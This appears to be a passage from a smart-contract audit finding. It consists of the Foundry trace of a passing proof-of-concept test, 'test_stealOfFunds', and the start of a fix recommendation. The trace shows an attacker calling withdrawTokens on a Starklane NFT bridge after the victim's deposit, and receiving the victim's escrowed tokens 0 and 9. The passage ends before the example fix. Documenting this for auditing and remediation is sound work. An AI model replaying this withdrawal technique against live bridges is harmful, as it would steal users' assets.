Ran 1 test for test/Bridge.t.sol:BridgeTest
[PASS] test_stealOfFunds() (gas: 687571)
Traces:
[687571] BridgeTest::test_stealOfFunds()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], "attacker")
│ └─ ← ()
├─ [0] VM::deal(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 100000000000000000000 [1e20])
│ └─ ← ()
├─ [53879] ERC1967Proxy::setL1L2CollectionMapping(ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 291, true)
│ ├─ [48975] Starklane::setL1L2CollectionMapping(ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 291, true) [delegatecall]
│ │ ├─ emit L1L2CollectionMappingUpdated(colllectionL1: ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], collectionL2: 291)
│ │ └─ ← ()
│ └─ ← ()
├─ [297367] ERC721MintFree::mintRangeFree(0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, 0, 10)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 0)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 1)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 2)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 3)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 4)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 5)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 6)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 7)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 8)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 9)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 10)
│ └─ ← ()
├─ [602] ERC721MintFree::ownerOf(0) [staticcall]
│ └─ ← 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7
├─ [602] ERC721MintFree::ownerOf(9) [staticcall]
│ └─ ← 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7
├─ [0] VM::startPrank(0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7)
│ └─ ← ()
├─ [24650] ERC721MintFree::setApprovalForAll(ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], true)
│ ├─ emit ApprovalForAll(account: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, operator: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], approved: true)
│ └─ ← ()
├─ [213916] ERC1967Proxy::depositTokens{value: 30000}(1, ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 1, [0, 9], false)
│ ├─ [213482] Starklane::depositTokens{value: 30000}(1, ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 1, [0, 9], false) [delegatecall]
│ │ ├─ [534] ERC721MintFree::supportsInterface(0x01ffc9a700000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [534] ERC721MintFree::supportsInterface(0xffffffff00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← false
│ │ ├─ [458] ERC721MintFree::supportsInterface(0x80ac58cd00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [534] ERC721MintFree::supportsInterface(0x01ffc9a700000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [534] ERC721MintFree::supportsInterface(0xffffffff00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← false
│ │ ├─ [496] ERC721MintFree::supportsInterface(0x5b5e139f00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [214] ERC721MintFree::_baseUri() [staticcall]
│ │ │ └─ ← EvmError: Revert
│ │ ├─ [192] ERC721MintFree::baseUri() [staticcall]
│ │ │ └─ ← EvmError: Revert
│ │ ├─ [925] ERC721MintFree::tokenURI(0) [staticcall]
│ │ │ └─ ← ""
│ │ ├─ [925] ERC721MintFree::tokenURI(9) [staticcall]
│ │ │ └─ ← ""
│ │ ├─ [3285] ERC721MintFree::name() [staticcall]
│ │ │ └─ ← "name 1"
│ │ ├─ [3284] ERC721MintFree::symbol() [staticcall]
│ │ │ └─ ← "S1"
│ │ ├─ [28794] ERC721MintFree::transferFrom(0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], 0)
│ │ │ ├─ emit Transfer(from: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, to: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], tokenId: 0)
│ │ │ └─ ← ()
│ │ ├─ [6894] ERC721MintFree::transferFrom(0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], 9)
│ │ │ ├─ emit Transfer(from: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, to: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], tokenId: 9)
│ │ │ └─ ← ()
│ │ ├─ [58259] StarknetMessagingLocal::sendMessageToL2{value: 30000}(1, 2, [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 884601108998247062727812365178754106561321340343 [8.846e47], 1, 0, 121364726226993 [1.213e14], 6, 0, 21297 [2.129e4], 2, 0, 0, 0, 2, 0, 0, 9, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0])
│ │ │ ├─ emit LogMessageToL2(fromAddress: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], toAddress: 1, selector: 2, payload: [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 884601108998247062727812365178754106561321340343 [8.846e47], 1, 0, 121364726226993 [1.213e14], 6, 0, 21297 [2.129e4], 2, 0, 0, 0, 2, 0, 0, 9, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0], nonce: 0, fee: 30000 [3e4])
│ │ │ └─ ← 0x5d7c9cfdf8e0e71f6f3930a7a92a666cb47c8999850aa736141b02bac5eb599f, 0
│ │ ├─ emit DepositRequestInitiated(hash: 13298499832182918516759644955324998285702092299788055518059161765071918283490 [1.329e76], block_timestamp: 1, reqContent: [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 884601108998247062727812365178754106561321340343 [8.846e47], 1, 0, 121364726226993 [1.213e14], 6, 0, 21297 [2.129e4], 2, 0, 0, 0, 2, 0, 0, 9, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0])
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← ()
├─ [894] ERC1967Proxy::l2Info()
│ ├─ [496] Starklane::l2Info() [delegatecall]
│ │ └─ ← 1, 2
│ └─ ← 1, 2
├─ [25236] StarknetMessagingLocal::addMessageHashesFromL2([28597879484868321335563165974277461384282195784402205820979523204604861980607 [2.859e76]])
│ ├─ emit MessageHashesAddedFromL2(hashes: [28597879484868321335563165974277461384282195784402205820979523204604861980607 [2.859e76]])
│ └─ ← ()
├─ [96364] ERC1967Proxy::withdrawTokens([257, 0, 0, 243313642115106858902493542147085865830094663267 [2.433e47], 291, 901681037997844235119835126332629004180842507086 [9.016e47], 1, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 2, 0, 0, 9, 0, 0, 0, 0])
│ ├─ [95818] Starklane::withdrawTokens([257, 0, 0, 243313642115106858902493542147085865830094663267 [2.433e47], 291, 901681037997844235119835126332629004180842507086 [9.016e47], 1, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 2, 0, 0, 9, 0, 0, 0, 0]) [delegatecall]
│ │ ├─ [11376] StarknetMessagingLocal::consumeMessageFromL2(1, [257, 0, 0, 243313642115106858902493542147085865830094663267 [2.433e47], 291, 901681037997844235119835126332629004180842507086 [9.016e47], 1, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 2, 0, 0, 9, 0, 0, 0, 0])
│ │ │ ├─ emit ConsumedMessageToL1(fromAddress: 1, toAddress: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], payload: [257, 0, 0, 243313642115106858902493542147085865830094663267 [2.433e47], 291, 901681037997844235119835126332629004180842507086 [9.016e47], 1, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 2, 0, 0, 9, 0, 0, 0, 0])
│ │ │ └─ ← 0x3f39d380d1a43813948ca50d9f9ae463b9e94b267951a41d24be363762919fbf
│ │ ├─ [26876] ERC721MintFree::safeTransferFrom(ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 0)
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], tokenId: 0)
│ │ │ └─ ← ()
│ │ ├─ [4976] ERC721MintFree::safeTransferFrom(ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 9)
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], tokenId: 9)
│ │ │ └─ ← ()
│ │ ├─ emit WithdrawRequestCompleted(hash: 0, block_timestamp: 1, reqContent: [257, 0, 0, 243313642115106858902493542147085865830094663267 [2.433e47], 291, 901681037997844235119835126332629004180842507086 [9.016e47], 1, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 2, 0, 0, 9, 0, 0, 0, 0])
│ │ └─ ← ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63]
│ └─ ← ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63]
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [602] ERC721MintFree::ownerOf(0) [staticcall]
│ └─ ← attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [602] ERC721MintFree::ownerOf(9) [staticcall]
│ └─ ← attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
└─ ← ()
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.16ms (876.31µs CPU time)
Ran 1 test suite in 1.19s (2.16ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
It is recommended to implement controls that map the ownership of tokens to prevent malicious users from withdrawing funds that do not belong to them. For instance, the already present _escrow
mapping could be utilized to enforce this ownership verification. An example implementation is as follows: